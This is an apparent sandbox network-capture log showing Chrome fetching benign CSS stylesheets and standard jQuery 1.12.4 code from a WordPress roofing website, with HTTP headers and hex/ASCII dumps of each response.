2024-04-23 14:53:44 UTC	8192	IN	Data Raw: 5f 62 74 6e 2d 64 65 66 61 75 6c 74 2c 66 69 65 6c 64 73 65 74 5b 64 69 73 61 62 6c 65 64 5d 20 62 75 74 74 6f 6e 2e 76 63 5f 62 74 6e 2d 64 65 66 61 75 6c 74 2e 61 63 74 69 76 65 2c 66 69 65 6c 64 73 65 74 5b 64 69 73 61 62 6c 65 64 5d 20 62 75 74 74 6f 6e 2e 76 63 5f 62 74 6e 2d 64 65 66 61 75 6c 74 3a 61 63 74 69 76 65 2c 66 69 65 6c 64 73 65 74 5b 64 69 73 61 62 6c 65 64 5d 20 62 75 74 74 6f 6e 2e 76 63 5f 62 74 6e 2d 64 65 66 61 75 6c 74 3a 66 6f 63 75 73 2c 66 69 65 6c 64 73 65 74 5b 64 69 73 61 62 6c 65 64 5d 20 62 75 74 74 6f 6e 2e 76 63 5f 62 74 6e 2d 64 65 66 61 75 6c 74 3a 68 6f 76 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 7d 2e 76 63 5f 62 Data Ascii: _btn-default,fieldset[disabled] button.vc_btn-default.active,fieldset[disabled] button.vc_btn-default:active,fieldset[disabled] button.vc_btn-default:focus,fieldset[disabled] button.vc_btn-default:hover{background-color:#fff;border-color:transparent}.vc_b
2024-04-23 14:53:44 UTC	8192	IN	Data Raw: 61 72 6e 69 6e 67 2c 61 2e 76 63 5f 62 74 6e 2d 77 61 72 6e 69 6e 67 2c 62 75 74 74 6f 6e 2e 76 63 5f 62 74 6e 2d 77 61 72 6e 69 6e 67 7b 63 6f 6c 6f 72 3a 23 66 66 66 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 30 61 64 34 65 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 7d 2e 6f 70 65 6e 3e 2e 64 72 6f 70 64 6f 77 6e 2d 74 6f 67 67 6c 65 2e 76 63 5f 62 74 6e 2d 77 61 72 6e 69 6e 67 2c 2e 6f 70 65 6e 3e 2e 64 72 6f 70 64 6f 77 6e 2d 74 6f 67 67 6c 65 61 2e 76 63 5f 62 74 6e 2d 77 61 72 6e 69 6e 67 2c 2e 6f 70 65 6e 3e 2e 64 72 6f 70 64 6f 77 6e 2d 74 6f 67 67 6c 65 62 75 74 74 6f 6e 2e 76 63 5f 62 74 6e 2d 77 61 72 6e 69 6e 67 2c 2e 76 63 5f 62 74 6e 2d 77 61 72 6e 69 6e 67 2e 61 63 74 69 76 65 2c 2e 76 63 5f Data Ascii: arning,a.vc_btn-warning,button.vc_btn-warning{color:#fff;background-color:#f0ad4e;border-color:transparent}.open>.dropdown-toggle.vc_btn-warning,.open>.dropdown-togglea.vc_btn-warning,.open>.dropdown-togglebutton.vc_btn-warning,.vc_btn-warning.active,.vc_
2024-04-23 14:53:44 UTC	8192	IN	Data Raw: 6e 73 2f 62 6c 75 65 2d 64 6f 63 75 6d 65 6e 74 2d 77 6f 72 64 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 72 69 67 68 74 20 63 65 6e 74 65 72 7d 2e 77 70 62 5f 62 6f 6f 6b 6d 61 72 6b 20 69 2e 69 63 6f 6e 2c 6f 70 74 69 6f 6e 2e 77 70 62 5f 62 6f 6f 6b 6d 61 72 6b 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2e 2e 2f 69 6d 61 67 65 73 2f 69 63 6f 6e 73 2f 62 6f 6f 6b 6d 61 72 6b 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 72 69 67 68 74 20 63 65 6e 74 65 72 7d 2e 77 70 62 5f 63 61 6d 63 6f 72 64 65 72 20 69 2e 69 63 6f 6e 2c 6f 70 74 69 6f 6e 2e 77 70 62 5f 63 61 6d 63 6f 72 64 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2e 2e 2f 69 6d 61 67 65 73 2f 69 63 6f 6e 73 2f 63 61 6d 63 6f 72 64 65 72 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 Data Ascii: ns/blue-document-word.png) no-repeat right center}.wpb_bookmark i.icon,option.wpb_bookmark{background:url(../images/icons/bookmark.png) no-repeat right center}.wpb_camcorder i.icon,option.wpb_camcorder{background:url(../images/icons/camcorder.png) no-repe

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.6	49759	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:43 UTC	640	OUT	GET /wp-content/plugins/u-design-core/includes/woocommerce/css/udesign-woocommerce-style.css?ver=1.0.5 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:53:44 UTC	540	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:43 GMT Content-Type: text/css Content-Length: 16482 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Sat, 14 Nov 2020 23:58:50 GMT ETag: "1941535-4062-5b419ed2ec280" Accept-Ranges: bytes Vary: Accept-Encoding Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS
2024-04-23 14:53:44 UTC	7652	IN	Data Raw: 2f 2a 20 0a 0a 55 2d 44 65 73 69 67 6e 2d 57 6f 6f 43 6f 6d 6d 65 72 63 65 20 6d 61 69 6e 20 73 74 79 6c 65 73 0a 0a 2a 2f 0a 0a 0a 2e 75 64 65 73 69 67 6e 2d 77 63 2d 63 61 72 74 20 68 33 2e 73 6f 63 69 61 6c 5f 6d 65 64 69 61 5f 74 69 74 6c 65 20 7b 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 3b 0a 7d 0a 2e 73 6f 63 69 61 6c 2d 6d 65 64 69 61 2d 61 72 65 61 20 2e 75 64 65 73 69 67 6e 2d 77 63 2d 63 61 72 74 2c 0a 2e 73 6f 63 69 61 6c 2d 6d 65 64 69 61 2d 61 72 65 61 20 2e 75 64 65 73 69 67 6e 2d 77 63 2d 63 61 72 74 20 61 2c 0a 2e 73 6f 63 69 61 6c 2d 6d 65 64 69 61 2d 61 72 65 61 20 2e 75 64 65 73 69 67 6e 2d 77 63 2d 63 61 72 74 20 68 33 2e 73 6f 63 69 61 6c 5f 6d 65 Data Ascii: /* U-Design-WooCommerce main styles*/.udesign-wc-cart h3.social_media_title { display: inline; font-weight: bold;}.social-media-area .udesign-wc-cart,.social-media-area .udesign-wc-cart a,.social-media-area .udesign-wc-cart h3.social_me
2024-04-23 14:53:44 UTC	8192	IN	Data Raw: 67 5f 63 61 72 74 20 2e 63 61 72 74 5f 6c 69 73 74 20 6c 69 2c 0a 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 20 2e 77 69 64 67 65 74 5f 73 68 6f 70 70 69 6e 67 5f 63 61 72 74 20 2e 70 72 6f 64 75 63 74 5f 6c 69 73 74 5f 77 69 64 67 65 74 20 6c 69 2c 20 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2e 77 69 64 67 65 74 5f 73 68 6f 70 70 69 6e 67 5f 63 61 72 74 20 2e 70 72 6f 64 75 63 74 5f 6c 69 73 74 5f 77 69 64 67 65 74 20 6c 69 20 7b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 22 2e 2e 2f 69 6d 61 67 65 73 2f 68 65 61 64 69 6e 67 5f 75 6e 64 65 72 6c 69 6e 65 2e 70 6e 67 22 29 20 72 65 70 65 61 74 2d 78 20 73 63 72 6f 6c 6c 20 30 20 31 30 30 25 20 74 72 61 6e 73 70 61 72 65 6e 74 3b 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 36 70 78 20 30 20 31 30 70 Data Ascii: g_cart .cart_list li,.woocommerce .widget_shopping_cart .product_list_widget li, .woocommerce.widget_shopping_cart .product_list_widget li { background: url("../images/heading_underline.png") repeat-x scroll 0 100% transparent; padding: 6px 0 10p
2024-04-23 14:53:44 UTC	638	IN	Data Raw: 68 2d 62 75 62 62 6c 65 20 2e 77 69 64 67 65 74 5f 73 68 6f 70 70 69 6e 67 5f 63 61 72 74 20 2e 62 75 74 74 6f 6e 73 20 61 20 7b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 20 61 75 74 6f 20 31 30 70 78 3b 0a 20 20 20 20 77 69 64 74 68 3a 20 38 37 25 3b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 63 35 63 35 63 35 3b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 74 72 61 6e 73 70 61 72 65 6e 74 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 35 65 35 65 35 65 3b 0a 7d 0a 2e 75 2d 64 65 73 69 67 6e 2d 77 63 2d 63 61 72 74 2d 73 70 65 65 63 68 2d 62 75 62 62 6c 65 20 2e 77 69 64 67 65 74 5f 73 68 6f 70 70 69 6e 67 5f 63 61 72 74 20 2e 62 75 74 Data Ascii: h-bubble .widget_shopping_cart .buttons a { margin: 0 auto 10px; width: 87%; text-align: center; border: 1px solid #c5c5c5; background-color: transparent; color: #5e5e5e;}.u-design-wc-cart-speech-bubble .widget_shopping_cart .but

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.6	49760	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:43 UTC	645	OUT	GET /wp-content/plugins/u-design-core/includes/woocommerce/css/udesign-woocommerce-responsive.css?ver=1.0.5 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:53:44 UTC	539	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:43 GMT Content-Type: text/css Content-Length: 5128 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Sat, 14 Nov 2020 23:58:50 GMT ETag: "1941534-1408-5b419ed2ec280" Vary: Accept-Encoding Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS Accept-Ranges: bytes
2024-04-23 14:53:44 UTC	5128	IN	Data Raw: 2f 2a 20 0a 0a 55 2d 44 65 73 69 67 6e 2d 57 6f 6f 43 6f 6d 6d 65 72 63 65 20 72 65 73 70 6f 6e 73 69 76 65 20 73 74 79 6c 65 73 0a 0a 2a 2f 0a 0a 0a 2f 2a 20 4d 6f 62 69 6c 65 20 53 63 72 65 65 6e 20 28 20 73 6d 61 6c 6c 65 72 20 74 68 61 6e 20 34 38 30 70 78 20 29 2a 2f 0a 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 20 34 38 30 70 78 29 20 7b 0a 0a 09 09 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 20 75 6c 2e 70 72 6f 64 75 63 74 73 20 6c 69 2e 70 72 6f 64 75 63 74 2c 20 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 70 61 67 65 20 75 6c 2e 70 72 6f 64 75 63 74 73 20 6c 69 2e 70 72 6f 64 75 63 74 20 7b 0a 09 09 09 6d 61 72 67 69 6e 3a 20 30 20 33 2e 38 25 20 32 2e 39 39 32 65 6d 20 30 3b 0a 09 09 09 77 69 64 74 68 3a 20 34 36 Data Ascii: /* U-Design-WooCommerce responsive styles// Mobile Screen ( smaller than 480px )*/@media screen and (max-width: 480px) {.woocommerce ul.products li.product, .woocommerce-page ul.products li.product {margin: 0 3.8% 2.992em 0;width: 46

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.6	49761	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:44 UTC	620	OUT	GET /wp-content/plugins/enable-jquery-migrate-helper/js/jquery/jquery-1.12.4-wp.js?ver=1.12.4-wp HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:53:44 UTC	547	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:44 GMT Content-Type: text/javascript Content-Length: 96854 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Wed, 13 Mar 2024 19:12:11 GMT ETag: "6220f6-17a56-6138f8d3b8ff8" Vary: Accept-Encoding Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS Accept-Ranges: bytes
2024-04-23 14:53:44 UTC	7645	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 31 2e 31 32 2e 34 20 7c 20 28 63 29 20 6a 51 75 65 72 79 20 46 6f 75 6e 64 61 74 69 6f 6e 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 7c 20 57 6f 72 64 50 72 65 73 73 20 32 30 31 39 2d 30 35 2d 31 36 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 61 2e 64 6f 63 75 6d 65 6e 74 3f 62 28 61 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 21 61 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 65 71 75 69 72 65 73 Data Ascii: /! jQuery v1.12.4 \| (c) jQuery Foundation \| jquery.org/license \| WordPress 2019-05-16 /!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires
2024-04-23 14:53:44 UTC	8192	IN	Data Raw: 65 74 75 72 6e 21 21 61 28 62 29 7d 63 61 74 63 68 28 78 61 29 7b 72 65 74 75 72 6e 21 31 7d 66 69 6e 61 6c 6c 79 7b 62 2e 70 61 72 65 6e 74 4e 6f 64 65 26 26 62 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 62 29 2c 62 3d 6e 75 6c 6c 7d 7d 66 75 6e 63 74 69 6f 6e 20 69 61 28 61 2c 62 29 7b 76 61 72 20 63 3d 61 2e 73 70 6c 69 74 28 22 7c 22 29 2c 65 3d 63 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 65 2d 2d 29 64 2e 61 74 74 72 48 61 6e 64 6c 65 5b 63 5b 65 5d 5d 3d 62 7d 66 75 6e 63 74 69 6f 6e 20 6a 61 28 61 2c 62 29 7b 76 61 72 20 63 3d 62 26 26 61 2c 64 3d 63 26 26 31 3d 3d 3d 61 2e 6e 6f 64 65 54 79 70 65 26 26 31 3d 3d 3d 62 2e 6e 6f 64 65 54 79 70 65 26 26 28 7e 62 2e 73 6f 75 72 63 65 49 6e 64 65 78 7c 7c 43 29 2d 28 7e 61 Data Ascii: eturn!!a(b)}catch(xa){return!1}finally{b.parentNode&&b.parentNode.removeChild(b),b=null}}function ia(a,b){var c=a.split("\|"),e=c.length;while(e--)d.attrHandle[c[e]]=b}function ja(a,b){var c=b&&a,d=c&&1===a.nodeType&&1===b.nodeType&&(~b.sourceIndex\|\|C)-(~a
2024-04-23 14:53:44 UTC	8192	IN	Data Raw: 6e 73 75 70 70 6f 72 74 65 64 20 70 73 65 75 64 6f 3a 20 22 2b 61 29 3b 72 65 74 75 72 6e 20 65 5b 75 5d 3f 65 28 62 29 3a 65 2e 6c 65 6e 67 74 68 3e 31 3f 28 63 3d 5b 61 2c 61 2c 22 22 2c 62 5d 2c 64 2e 73 65 74 46 69 6c 74 65 72 73 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 61 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 3f 67 61 28 66 75 6e 63 74 69 6f 6e 28 61 2c 63 29 7b 76 61 72 20 64 2c 66 3d 65 28 61 2c 62 29 2c 67 3d 66 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 67 2d 2d 29 64 3d 4a 28 61 2c 66 5b 67 5d 29 2c 61 5b 64 5d 3d 21 28 63 5b 64 5d 3d 66 5b 67 5d 29 7d 29 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 65 28 61 2c 30 2c 63 29 7d 29 3a 65 7d 7d 2c 70 73 65 75 64 6f 73 3a 7b 6e 6f 74 3a 67 61 28 66 75 6e 63 74 69 6f 6e 28 Data Ascii: nsupported pseudo: "+a);return e[u]?e(b):e.length>1?(c=[a,a,"",b],d.setFilters.hasOwnProperty(a.toLowerCase())?ga(function(a,c){var d,f=e(a,b),g=f.length;while(g--)d=J(a,f[g]),a[d]=!(c[d]=f[g])}):function(a){return e(a,0,c)}):e}},pseudos:{not:ga(function(
2024-04-23 14:53:44 UTC	8192	IN	Data Raw: 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 62 3d 30 3b 62 3c 65 3b 62 2b 2b 29 69 66 28 6e 2e 63 6f 6e 74 61 69 6e 73 28 64 5b 62 5d 2c 74 68 69 73 29 29 72 65 74 75 72 6e 21 30 7d 29 29 3b 66 6f 72 28 62 3d 30 3b 62 3c 65 3b 62 2b 2b 29 6e 2e 66 69 6e 64 28 61 2c 64 5b 62 5d 2c 63 29 3b 72 65 74 75 72 6e 20 63 3d 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 65 3e 31 3f 6e 2e 75 6e 69 71 75 65 28 63 29 3a 63 29 2c 63 2e 73 65 6c 65 63 74 6f 72 3d 74 68 69 73 2e 73 65 6c 65 63 74 6f 72 3f 74 68 69 73 2e 73 65 6c 65 63 74 6f 72 2b 22 20 22 2b 61 3a 61 2c 63 7d 2c 66 69 6c 74 65 72 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 7a 28 74 68 69 73 2c 61 7c 7c 5b 5d 2c 21 31 29 Data Ascii: .filter(function(){for(b=0;b<e;b++)if(n.contains(d[b],this))return!0}));for(b=0;b<e;b++)n.find(a,d[b],c);return c=this.pushStack(e>1?n.unique(c):c),c.selector=this.selector?this.selector+" "+a:a,c},filter:function(a){return this.pushStack(z(this,a\|\|[],!1)
2024-04-23 14:53:44 UTC	8192	IN	Data Raw: 64 61 74 61 29 7c 7c 76 6f 69 64 20 30 21 3d 3d 64 7c 7c 22 73 74 72 69 6e 67 22 21 3d 74 79 70 65 6f 66 20 62 29 72 65 74 75 72 6e 20 6b 7c 7c 28 6b 3d 69 3f 61 5b 68 5d 3d 63 2e 70 6f 70 28 29 7c 7c 6e 2e 67 75 69 64 2b 2b 3a 68 29 2c 6a 5b 6b 5d 7c 7c 28 6a 5b 6b 5d 3d 69 3f 7b 7d 3a 7b 74 6f 4a 53 4f 4e 3a 6e 2e 6e 6f 6f 70 7d 29 2c 22 6f 62 6a 65 63 74 22 21 3d 74 79 70 65 6f 66 20 62 26 26 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 62 7c 7c 28 65 3f 6a 5b 6b 5d 3d 6e 2e 65 78 74 65 6e 64 28 6a 5b 6b 5d 2c 62 29 3a 6a 5b 6b 5d 2e 64 61 74 61 3d 6e 2e 65 78 74 65 6e 64 28 6a 5b 6b 5d 2e 64 61 74 61 2c 62 29 29 2c 67 3d 6a 5b 6b 5d 2c 65 7c 7c 28 67 2e 64 61 74 61 7c 7c 28 67 2e 64 61 74 61 3d 7b 7d 29 2c 67 3d 67 2e 64 61 74 61 29 2c 76 Data Ascii: data)\|\|void 0!==d\|\|"string"!=typeof b)return k\|\|(k=i?a[h]=c.pop()\|\|n.guid++:h),j[k]\|\|(j[k]=i?{}:{toJSON:n.noop}),"object"!=typeof b&&"function"!=typeof b\|\|(e?j[k]=n.extend(j[k],b):j[k].data=n.extend(j[k].data,b)),g=j[k],e\|\|(g.data\|\|(g.data={}),g=g.data),v
2024-04-23 14:53:44 UTC	8192	IN	Data Raw: 66 29 7b 76 61 72 20 67 2c 68 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 62 29 7b 22 73 74 72 69 6e 67 22 21 3d 74 79 70 65 6f 66 20 63 26 26 28 64 3d 64 7c 7c 63 2c 63 3d 76 6f 69 64 20 30 29 3b 66 6f 72 28 68 20 69 6e 20 62 29 72 61 28 61 2c 68 2c 63 2c 64 2c 62 5b 68 5d 2c 66 29 3b 72 65 74 75 72 6e 20 61 7d 69 66 28 6e 75 6c 6c 3d 3d 64 26 26 6e 75 6c 6c 3d 3d 65 3f 28 65 3d 63 2c 64 3d 63 3d 76 6f 69 64 20 30 29 3a 6e 75 6c 6c 3d 3d 65 26 26 28 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 63 3f 28 65 3d 64 2c 64 3d 76 6f 69 64 20 30 29 3a 28 65 3d 64 2c 64 3d 63 2c 63 3d 76 6f 69 64 20 30 29 29 2c 21 31 3d 3d 3d 65 29 65 3d 70 61 3b 65 6c 73 65 20 69 66 28 21 65 29 72 65 74 75 72 6e 20 61 3b 72 65 74 75 72 6e 20 31 3d 3d 3d Data Ascii: f){var g,h;if("object"==typeof b){"string"!=typeof c&&(d=d\|\|c,c=void 0);for(h in b)ra(a,h,c,d,b[h],f);return a}if(null==d&&null==e?(e=c,d=c=void 0):null==e&&("string"==typeof c?(e=d,d=void 0):(e=d,d=c,c=void 0)),!1===e)e=pa;else if(!e)return a;return 1===
2024-04-23 14:53:44 UTC	8192	IN	Data Raw: 74 2c 63 3d 6e 2e 6e 6f 64 65 4e 61 6d 65 28 62 2c 22 69 6e 70 75 74 22 29 7c 7c 6e 2e 6e 6f 64 65 4e 61 6d 65 28 62 2c 22 62 75 74 74 6f 6e 22 29 3f 6e 2e 70 72 6f 70 28 62 2c 22 66 6f 72 6d 22 29 3a 76 6f 69 64 20 30 3b 63 26 26 21 6e 2e 5f 64 61 74 61 28 63 2c 22 73 75 62 6d 69 74 22 29 26 26 28 6e 2e 65 76 65 6e 74 2e 61 64 64 28 63 2c 22 73 75 62 6d 69 74 2e 5f 73 75 62 6d 69 74 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 2e 5f 73 75 62 6d 69 74 42 75 62 62 6c 65 3d 21 30 7d 29 2c 6e 2e 5f 64 61 74 61 28 63 2c 22 73 75 62 6d 69 74 22 2c 21 30 29 29 7d 29 7d 2c 70 6f 73 74 44 69 73 70 61 74 63 68 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 2e 5f 73 75 62 6d 69 74 42 75 62 62 6c 65 26 26 28 64 65 6c 65 74 65 20 61 2e 5f 73 75 62 6d 69 74 42 75 62 62 6c Data Ascii: t,c=n.nodeName(b,"input")\|\|n.nodeName(b,"button")?n.prop(b,"form"):void 0;c&&!n._data(c,"submit")&&(n.event.add(c,"submit._submit",function(a){a._submitBubble=!0}),n._data(c,"submit",!0))})},postDispatch:function(a){a._submitBubble&&(delete a._submitBubbl
2024-04-23 14:53:44 UTC	8192	IN	Data Raw: 2c 62 2e 63 6c 6f 73 65 28 29 2c 63 3d 4b 61 28 61 2c 62 29 2c 49 61 2e 64 65 74 61 63 68 28 29 29 2c 4a 61 5b 61 5d 3d 63 29 2c 63 7d 76 61 72 20 4d 61 3d 2f 5e 6d 61 72 67 69 6e 2f 2c 4e 61 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5e 28 22 2b 53 2b 22 29 28 3f 21 70 78 29 5b 61 2d 7a 25 5d 2b 24 22 2c 22 69 22 29 2c 4f 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 29 7b 76 61 72 20 65 2c 66 2c 67 3d 7b 7d 3b 66 6f 72 28 66 20 69 6e 20 62 29 67 5b 66 5d 3d 61 2e 73 74 79 6c 65 5b 66 5d 2c 61 2e 73 74 79 6c 65 5b 66 5d 3d 62 5b 66 5d 3b 65 3d 63 2e 61 70 70 6c 79 28 61 2c 64 7c 7c 5b 5d 29 3b 66 6f 72 28 66 20 69 6e 20 62 29 61 2e 73 74 79 6c 65 5b 66 5d 3d 67 5b 66 5d 3b 72 65 74 75 72 6e 20 65 7d 2c 50 61 3d 64 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 Data Ascii: ,b.close(),c=Ka(a,b),Ia.detach()),Ja[a]=c),c}var Ma=/^margin/,Na=new RegExp("^("+S+")(?!px)[a-z%]+$","i"),Oa=function(a,b,c,d){var e,f,g={};for(f in b)g[f]=a.style[f],a.style[f]=b[f];e=c.apply(a,d\|\|[]);for(f in b)a.style[f]=g[f];return e},Pa=d.documentEle
2024-04-23 14:53:44 UTC	8192	IN	Data Raw: 72 20 61 3d 66 62 2e 70 72 6f 70 48 6f 6f 6b 73 5b 74 68 69 73 2e 70 72 6f 70 5d 3b 72 65 74 75 72 6e 20 61 26 26 61 2e 67 65 74 3f 61 2e 67 65 74 28 74 68 69 73 29 3a 66 62 2e 70 72 6f 70 48 6f 6f 6b 73 2e 5f 64 65 66 61 75 6c 74 2e 67 65 74 28 74 68 69 73 29 7d 2c 72 75 6e 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 2c 63 3d 66 62 2e 70 72 6f 70 48 6f 6f 6b 73 5b 74 68 69 73 2e 70 72 6f 70 5d 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 64 75 72 61 74 69 6f 6e 3f 74 68 69 73 2e 70 6f 73 3d 62 3d 6e 2e 65 61 73 69 6e 67 5b 74 68 69 73 2e 65 61 73 69 6e 67 5d 28 61 2c 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 64 75 72 61 74 69 6f 6e 2a 61 2c 30 2c 31 2c 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 64 75 72 61 74 69 6f 6e 29 3a 74 68 69 Data Ascii: r a=fb.propHooks[this.prop];return a&&a.get?a.get(this):fb.propHooks._default.get(this)},run:function(a){var b,c=fb.propHooks[this.prop];return this.options.duration?this.pos=b=n.easing[this.easing](a,this.options.duration*a,0,1,this.options.duration):thi
